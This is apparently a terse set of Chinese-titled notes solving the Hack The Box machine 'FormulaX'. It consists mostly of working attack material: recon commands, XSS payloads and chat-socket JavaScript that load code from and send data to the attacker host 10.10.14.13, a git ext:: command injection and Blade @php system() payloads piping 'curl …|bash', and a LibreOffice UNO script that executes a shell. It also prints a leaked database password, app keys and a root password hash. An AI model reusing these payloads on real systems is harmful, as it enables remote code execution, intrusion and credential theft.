HTB-FormulaX 笔记

nmap -sC -sV -T4 -Pn 10.10.11.6

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://formulax.htb' -H 'Host: FUZZ.formulax.htb' --hl 0

dirsearch -u http://formulax.htb/restricted/

let value;const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});//listening for the messagessocket.on('message', (my_message) => {  //console.log("Received From Server: " + my_message)  Show_messages_on_screen_of_Server(my_message)})const typing_chat = () => {  value = document.getElementById('user_message').value  if (value) {    // sending the  messages to the server    socket.emit('client_message', value)    Show_messages_on_screen_of_Client(value);    // here we will do out socket things..    document.getElementById('user_message').value = ""  }  else {    alert("Cannot send Empty Messages");  }}function htmlEncode(str) {  return String(str).replace(/[^w. ]/gi, function (c) {    return '&#' + c.charCodeAt(0) + ';';  });}const Show_messages_on_screen_of_Server = (value) => {  const div = document.createElement('div');  div.classList.add('container')  div.innerHTML = `    <h2>&#129302;  </h2>    <p>${value}</p>  `  document.getElementById('big_container').appendChild(div)}// send the input to the chat forumconst Show_messages_on_screen_of_Client = (value) => {  value = htmlEncode(value)  const div = document.createElement('div');  div.classList.add('container')  div.classList.add('darker')  div.innerHTML = `    <h2>&#129302;  </h2>      <p>${value}</p>  `  document.getElementById('big_container').appendChild(div)}

let value;const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});//listening for the messagessocket.on('message', (my_message) => {  //console.log("Received From Server: " + my_message)  // Show_messages_on_screen_of_Server(my_message)  //  fetch("http://10.10.14.13/cxk" + my_message );})// rewrite the typing_chat function to only send message 'history'const typing_chat_new = () => {  value = "history"; //document.getElementById('user_message').value  if (value) {    // sending the  messages to the server    socket.emit('client_message', value)    Show_messages_on_screen_of_Client(value);    // here we will do out socket things..    document.getElementById('user_message').value = ""  }  else {    alert("Cannot send Empty Messages");  }}// send messagetyping_chat_new()

POST请求包{"first_name":"cai","last_name":"xukun","message":"<img src=x onerror="body.appendChild(createElement('script')).src='/socket.io/socket.io.js'"><img src=x onerror="body.appendChild(createElement('script')).src='http://10.10.14.13/cxk.js'"></img>"}

ext::sh -c curl% http://10.10.14.13/cxk.sh|bash >&2

./adduser.php cxk cxk 10

@php  system("id>/tmp/ikun");@endphp

@php  system("curl http://10.10.14.13/cxk.sh|bash >&2");@endphp

librenms@formulax:~$ envenvDB_PASSWORD=mychemicalformulaXPWD=/opt/librenmsNODE_ID=648b260eb18d2HOME=/opt/librenmsAPP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=DB_USERNAME=kai_relayDB_HOST=localhostUSER=librenmsSHLVL=3VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQDB_DATABASE=librenmsVAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg_=/usr/bin/env

#!/bin/bash/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

root:$y$j9T$/lSSkn2dpkUFYRVCTUSn5.$XhIP3.CfCv2pusU6c4TPVgRsCedfulJNgnBbPfWXLO8:19752:0:99999:7:::

import unofrom com.sun.star.system import XSystemShellExecute# Define the UNO componentlocalContext = uno.getComponentContext()# Define the resolver to use, this is used to connect with the APIresolver = localContext.ServiceManager.createInstanceWithContext(                                "com.sun.star.bridge.UnoUrlResolver", localContext )# Connect with the provided host on the provided target portprint("[+] Connecting to target...")context = resolver.resolve(        "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format("localhost","2002"))# Issue the service manager to spawn the SystemShellExecute module and execute calc.exeservice_manager = context.ServiceManagerprint("[+] Connected to {0}".format("localhost"))shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")shell_execute.execute("bash", "/tmp/cxk.sh",1)